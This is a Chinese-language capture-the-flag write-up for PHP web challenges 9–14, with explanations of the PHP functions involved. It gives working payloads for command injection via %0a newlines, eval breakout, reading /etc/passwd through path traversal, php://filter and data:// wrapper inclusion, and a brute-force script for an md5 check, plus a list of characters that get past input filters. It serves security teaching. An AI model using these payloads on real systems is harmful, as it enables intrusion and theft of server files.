challenge 9
访问页面,查看源码
<?php if(isset($_REQUEST[ 'ip' ])) { $target = trim($_REQUEST[ 'ip' ]); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); echo $target; echo "<pre>{$cmd}</pre>"; } show_source(__FILE__); ?>
观察代码,发现主要获取的用户输入的IP参数,然后进行ping命令操作。
而且其中过滤很多管道符,不过依然可以使用%0als进行绕过。
payload:
?ip=127.0.0.1%0als
可以查看到flag.php位置,在使用cat命令读取flag.php文件内容。payload:
?ip=127.0.0.1%0acat flag.php
trim() 函数
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
一般是用来去除字符串首尾处的空白字符(或者其他字符),一般在用在服务端对接收的用户数据进行处理,以免把用户误输入的空格存储到数据库,下次对比数据时候出错。
常见绕过空格命令分隔符
1、%0a符号:换行符
2、%0d符号:回车符
3、< 号
4、%09符号
5、$IFS$9(数字无限制)符号
6、${IFS}符号
7、,号
8、<>号
9、$IFS符号
10、以及过滤掉的内容
challenge 10
题目内容:
<?php require __DIR__.'/flag.php'; if (isset($_POST['answer'])){ $number = $_POST['answer']; if (noother_says_correct($number)){ echo $flag; } else { echo "Sorry"; } } function noother_says_correct($number) { $one = ord('1'); $nine = ord('9'); # Check all the input characters! for ($i = 0; $i < strlen($number); $i++) { # Disallow all the digits! $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { # Aha, digit not allowed! return false; } } # Allow the magic number ... return $number == "3735929054"; } highlight_file(__FILE__); ?>
观察题目,发现题目并不复杂。
发现其中:
for ($i = 0; $i < strlen($number); $i++) { # Disallow all the digits! $digit = ord($number{$i}); if ( ($digit >= $one) && ($digit <= $nine) ) { # Aha, digit not allowed! return false; } }
发现要求传入的每一个值都不能大于等于1小于等于9
如果满足条件,则进行判断
$number == "3735929054";
传入的值需与3735929054一致,看到这里,我们应该就会想到PHP弱类型比较
我们查看一下3735929054的其他进制内容
发现
>>> hex(3735929054) '0xdeadc0de'
十六进制的3735929054,只包含字母与0,满足条件
所以
"0xdeadc0de" == "3735929054"
payload:
POST: answer=0xdeadc0de
ord() 函数
ord() 函数:返回字符串的首个字符的 ASCII 值。
challenge 11
查看题目
<?php include "flag.php"; $a = @$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a )){ die('ERROR'); } eval("var_dump($$a);"); show_source(__FILE__); ?>
发现使用了
preg_match('/^\w*$/',$a )
进行正则匹配,要求hello的输入必须为数字和字母的组合。
继续查看下方,发现存在eval()函数,查看是否可以进行闭合var_dump(),造成命令执行。
查看发现过滤了符号,无法闭合,所以不能通过闭合var_dump()造成命令执行。
不过,发现var_dump()中存在$$a,可以输出对应的变量值,但前提是需要知道flag的变量名,如果不知道,爆破也不知道从哪里开始。
不过PHP中还存在一个特殊的变量,引用全局作用域中可用的全部变量:
$GLOBALS #(具体方法解释可向下方查看)
所以构造payload:
?hello=GLOBALS
当然使用POST进行传输也可以,主要的关键就是
var_dump($GLOBALS)
会遍历所有可以遍历的内容,有兴趣的可以自己试一试,就比如
preg_match() 函数
preg_match 函数用于执行一个正则表达式匹配。
语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
返回值:返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
参数说明:
参数说明:
$pattern: 要搜索的模式,字符串形式。 $subject: 输入字符串。 $matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。 $flags:flags 可以被设置为以下标记值: PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。 offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。
举个例子,比如:
查找文本字符串"php":
<?php //模式分隔符后的"i"标记这是一个大小写不敏感的搜索 if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。"; } else { echo "未发现匹配的字符串 php。"; } ?>
执行结果如下所示:
查找到匹配的字符串 php。
$_REQUEST、$_POST、$_GET的区别和联系
1、$_REQUEST
PHP中,$_REQUEST可以获取POST方法和GET方法提交的数据,但是传输的速度相对较慢。
2、$_GET
$_GET用来获取由浏览器通过$_GET方法提交的数据。$_GET方法就是通过把参数数据加在提交表单的action属性所指的URL中,值和表单内的每个字段一一对应,并且在URL中可以看到,但是同样也存在问题:
- 安全性差,在URL中可以体现
- 传输数据量较小,不能大于2KB。
- $_POST
$_POST用来获取由浏览器通过POST方法提交的数据。$_POST方法是通过HTTP POST机制,将表单的各个字段放置在HTTP HEADER内一起传送到action属性所指的URL中,用户看不到此过程。提交的大小一般来说不受限制,但是具体根据服务器的不同,略有不同,比如PHP版本5.512,默认POST最大值为3M,有的则为8M,IIS6默认最大则为200K。
相对于$_GET方法安全性稍高。
3、三者之间的区别和联系
$_REQUEST["参数"]具用$_POST["参数"], $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢。通过$_POST和$_GET方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得。
$GLOBALS超全局变量分析
PHP中有一个鲜为人知的超全局变量$GLOBALS。
$GLOBALS定义:引用全局作用域中可用的全部变量(一个包含了全部变量的组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中的任何地方都是可用的,可以通过打印$GLOBALS变量查看结果验证。
在PHP生命周期中,定义在函数体外部的全局变量,函数内部是不能直接获得的。如果要在函数体内访问外部定义的全局变量,可以通过global声明或者直接使用$GLOBALS来进行访问。
比如:
<?php $var1='www.tidesec.com'; $var2='www.tidesec.net'; test(); function test(){ $var1='tide'; echo $var1,'<br />'; global $var1; echo $var1,'<br />'; echo $GLOBALS['var2']; }
输出结果为:
tide www.tidesec.com www.tidesec.net
其中global和$GLOBALS的区别:
$GLOBALS['var']是外部全局变量的本身,而global $var则是外部$var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。
举个例子:
$var1=tide; $var2=tidesec; function test(){ $GLOBALS['var2']=&$GLOBALS['var1']; } test(); echo $var2;
结果为:
tide
$var1=tide; $var2=tidesec; function test(){ global $var1,$var2; $var2=&$var1; } test(); echo $var2;
结果为:
tidesec
结果之所以为tidesec,原因为$var1的引用指向了$var2的引用地址。导致实质的值没有发生变化。
$var1=tide; function test(){ global $var1; unset($var1); } test(); echo $var1;
结果为:
tide
这就说明,删除的只是别名或者说是引用,其本身作用的值没有受到任何的影响。也就是说,global $var其实是$var = &$GLOBALS['var'],调用外部变量的一个别名而已。
challenge 12
访问页面,获得逻辑源码
<?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); show_source(__FILE__);
观察题目,发现其中没有什么特别需要注意的地方,直接输出了$a,也就是hello参数的值,而且题目显示flag也不在变量中,也无法使用上一题学习到的$GLOBALS超全局变量进行遍历,也没有过滤。
所以之只能考虑闭合var_dump($a)函数并构造其他的语句进行执行,并且因为flag在flag.php中,所以我们考虑直接打印flag.php内容。
构造payload:
?hello=);var_dump(file("flag.php"));//
构造出
var_dump();var_dump(file("flag.php"));//);
成功读取到flag.php文件内容。
challenge 13
访问页面,查看源码信息。
<?php error_reporting(0); session_start(); require('./flag.php'); if(!isset($_SESSION['nums'])){ $_SESSION['nums'] = 0; $_SESSION['time'] = time(); $_SESSION['whoami'] = 'ea'; } if($_SESSION['time']+120<time()){ session_destroy(); } $value = $_REQUEST['value']; $str_rand = range('a', 'z'); $str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION['nums']++; $_SESSION['whoami'] = $str_rands; echo $str_rands; } if($_SESSION['nums']>=10){ echo $flag; } show_source(__FILE__); ?>
观察代码,发现主要限制在于
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){ $_SESSION['nums']++; $_SESSION['whoami'] = $str_rands; echo $str_rands; }
其中参数whoami要满足两个条件,一个是满足whoami输入的值与产生的随机值相等,另一个条件就是要满足md5($value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5($value),5,4) == 0。
另外需要满足的条件就是
if($_SESSION['nums']>=10){ echo $flag; }
需要在120秒内,连续取访问10次,条件都满足的情况下,可以得到flag。
作者给出了相关的脚本进行破解
import requests import hashlib import random def get_value(given): global dict_az for i in range(1000000): result = given result += random.choice(dict_az) result += random.choice(dict_az) result += random.choice(dict_az) result += random.choice(dict_az) result += random.choice(dict_az) result += random.choice(dict_az) m = hashlib.md5(result) m = m.hexdigest() if m[5:9] == "0000": print "success" return result else: pass def main(url_s): session = requests.Session() result = "ea" for i in range(10): url = url_s resp = session.get(url+result) the_page = resp.text result = get_value(the_page[0:2]) print "nums = %d" % i print the_page if __name__ == "__main__": dict_az = "abcdefghijklmnopqrstuvwxyz" url = "http://IP:PORT/challenge13.php?value=" main(url)
其实可以看到,破解脚本中采用的是绝对的选择,也就是说,除第一次请求外,每次请求都会回显产生的随机数,然后在其后面进行拼接,拼接6个。在脚本中需要满足的条件是产生的6位内容需要满足
m[5:9] == "0000"
经过测试发现,拼接的内容可以4位,不必6位,原因就是使用弱比较,当然,这个地方的判断条件是绝对满足的,所以扩大拼接位数,可以更容易的满足条件。
result += random.choice(dict_az)
其实,除了第一次传输的whoami为ea,后面需要传输的值都是前一次传输返回生成的随机值,使用返回生成的随机值+字母(第3位)+任意值(第4-6位)就可以满足,如果手速够快,获取也可以(手动滑稽)
mt_srand()
mt_srand() 播种 Mersenne Twister 随机数生成器。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。
PHP随机函数
PHP随机函数主要有rand、mt_rand、array_rand,还有随机"排列"(打乱顺序)的函数shuffle、str_shuffle,以及能够产生唯一ID的uniqid。
1、rand()
rand()函数返回随机整数。
如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。
- rand()函数是使用libc的随机数发生器生成随机数的,一般较慢,且有不确定因素。
- 其中getrandmax()函数可以返回rand函数能够产生的最大的随机数,在设置rand()函数第二个参数时可以设置为getrandmax()的返回值。
- 比如:
<?php $base = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $count = strlen($base); $random = ''; for ($i=0; $i < 16; $i++) { $random.=$base[rand(0,$count-1)]; } echo $random; echo "<br/>"; echo getrandmax(); ?>
2、mt_rand()函数
- mt_rand() 使用 Mersenne Twister 算法返回随机整数。
- 如果没有提供可选参数 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
- 很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。PHP 的 rand() 函数默认使用 libc 随机数发生器。mt_rand() 函数是非正式用来替换它的。该函数用了 Mersenne Twister 中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。
比如:
<?php echo(mt_rand()); echo(mt_rand()); echo(mt_rand(10,100)); ?>
3、array_rand()函数
- array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
- array_rand() 函数从数组中随机选出一个或多个元素,并返回。
- 第二个参数用来确定要选出几个元素。如果选出的元素不止一个,则返回包含随机键名的数组,否则返回该元素的键名。
- 比如:
<?php $a=array("red","green","blue","yellow","brown"); $random_keys=array_rand($a,3); echo $a[$random_keys[0]]."<br>"; echo $a[$random_keys[1]]."<br>"; echo $a[$random_keys[2]]; ?>
4、shuffle()函数
- shuffle() 函数把数组中的元素按随机顺序重新排列。
- 该函数为数组中的元素分配新的键名。已有键名将被删除。
- 比如:
<?php $my_array = array("red","green","blue","yellow","purple"); shuffle($my_array); print_r($my_array); ?>
5、str_shuffle()函数
- str_shuffle() 函数随机打乱字符串中的所有字符。
- 比如
<?php echo str_shuffle("I love Shanghai"); ?>
- str_shuffle()函数功能上与shuffle()函数功能类似,唯一不同的是返回值,str_shuffle的原字符串是不变的。
6、uniqid()函数
- uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
- 语法:
uniqid(prefix,more_entropy)
如果 prefix 参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy 参数设置为 true,则是 23 个字符串长。
如果 more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。
- 返回值:以字符串的形式返回唯一标识符。
- 注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。
- 如果单独使用uniqid()方法,不带任何参数的话,这个方法只能保证单个进程,在同一个毫秒内是唯一的。如果使用uniqid("",true),带了一个墒值,自身已经有一个随机的方法能保证生成的id的随机性。但是由于线性同余是比较简单的生成随机数的算法,随机性有可能还不够。所以大多数采用的方法为:
nuiqid(mt_rand(), true)
- 其中mt_rand()生成随机数是采用Mersenne Twister Random Number Generator (梅森旋转算法)而不是线性同余的方法生成。
- 这样的话就由两种随机算法和时间戳生成,能够在很大程度上保证唯一性,这种方法给出的id会有一个点号,而且长度并不是128bit。
- 不过,nuiqid()函数基于微秒级当前时间戳,在高并发或者时间间隔极短(如循环代码)的情况下,会出下大量的重复数据。
- 所以官方推荐使用md5进行结合。
md5(uniqid(mt_rand(), true))
md5(uniqid(md5(microtime(true)),true))
- 其中microtime() 函数返回当前 Unix 时间戳的微秒数。
mt_rand()函数安全问题
- 不过需要注意的是,因为mt_rand()随机数的安全问题已经出现了很多,简单来说造成的原因就是mt_rand()函数并不是一个真随机数生成函数,实际上绝大部分编程语言中的随机数函数生成都是伪随机数。
- 伪随机数是由可确定的函数(常用线性同余),通过一个种子(常用时钟),产生的伪随机数。这意味着,如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。
- 简单的来说明一下,mt_rand()内部生成随机数的函数为:
rand = seed + (i * 10)
- 其中seed是随机数种子,i是第几次调用这个随机数函数。如果我们同时知道i和rand两个值的时候,就能很容易的算出seed的值来。比如rand = 21,i = 2带入函数,21 = seed + (2 * 10)得到seed = 1。也就是说,当拿到seed之后,就能计算出当i为任意值时rand的值。
- 之所以说会有很多的不安全性,也不值函数本身,函数本事并没有问题,而且官方也明确提示了生成的随机数不应用与安全加密用途。那所产生的不安全性来自于哪里,其实来自于开发者本身,当开发者为认识到这并不是一个真随机数时,就会出现安全问题。
- 刚刚所说,通过已知的随机数序列可以爆破出种子,也就是说,只要任意页面中存在随机数或者其衍生值(可逆推随机值),那么其他任意页面的随机数将不再是"随机数"。
- 常见的输出随机数的例子比如验证码,随机文件名等。
- 常见的随机数用于安全验证的比如找回密码校验值,比如加密key等。
- 来幻想一下...当apache(nginx)回收所有PHP进程(确保下次访问会重新播种),访问一次验证码页面,根据验证码字符逆推出随机数,再根据随机数爆破出随机数种子。然后访问找回密码页面,生成的找回密码链接是基于随机数的,然后就可以计算出这个链接,找回管理员用户密码...虽然是幻想,但要是有一天实现了呢
challenge 14
访问页面,观察逻辑代码
<?php show_source(__FILE__); if(isset($_REQUEST['path'])){ include($_REQUEST['path']); }else{ include('phpinfo.php'); }
发现代码中include直接进行拼接$_REQUEST['path'],没有进行任何的过滤,判断为文件包含。
进行尝试,访问/etc/passwd查看是否可以访问
?path=../../../../etc/passwd
发现可以读取。
但是发现无法获取flag文件的位置以及文件名
这时候想到phpinfo信息中,包含有php配置,其中allow_url_include如果为on的话,我们就可以使用PHP伪协议进行访问,查找配置,发现allow_url_include为on,所以使用php://filter来读取目标文件。
构造payload:
?path=php://filter/convert.base64-encode/resource=flag.php
得到base64加密后的flag结果,进行base64解密得到。
文件包含相关函数
其中涉及到文件包含的函数有:
include require include_once require_once highlight_file show_source readfile file_get_contents fopen file
PHP伪协议
要满足PHP伪协议,基于函数include和include_once()的利用情况。
另外就是PHP.ini环境问题:
allow_url_fopen: On 默认开启,选项为On时,激活了URL形式的fopen封装协议,就可以访问URL对象文件 allow_url_include: Off 默认关闭,选项为On时,允许包含URL对象文件。
是否需要截断:PHP版本<=5.2可以使用%00进行截断。
比如:
http://127.0.0.1/test.php?file=file:///d:/test/test/flag.txt%00 <?php include($_GET['file'].’.php’) ?>
常用协议:
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流
利用条件:
1、协议:file://
- 利用条件:allow_url_fopen和allow_url_include双Off情况下可正常使用
- 说明:访问本地文件系统
- 用法:file://文件绝对路径和文件名
2、协议:php://
- 利用条件:不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
- 说明:访问IO流
- 用法:php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
3、协议:zip://,bzip2://,zlib://
- 利用条件:双Off条件下可使用
- 说明:zip://test.zip#x.txt zip://绝对路径#子文件名
- x.txt内容就会以php代码执行
- compress.bzip2://test.bz2和compress.zlib://test.gz用法相同
- /include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
- 用法:可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
4、协议:data://
- 利用条件:双On
说明:
/include.php?file=data://text/plain,<?php phpinfo();?> 或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4= 或者 data:text/plain,<?php phpinfo();?> 或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
同样以string可写入php代码,并执行
总结一下,其中仅php://input、php://stdin、php://memory、php://temp需要开启allow_url_include,其中php://访问各个输入/输出流(I/O streams),php://filter用于读取源码,php://input用于执行php代码。
php://input可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,而且不需要指定后缀名。
其中需要注意的是,php://filter读取源代码需要使用base64编码输出,不然会当作php代码直接执行。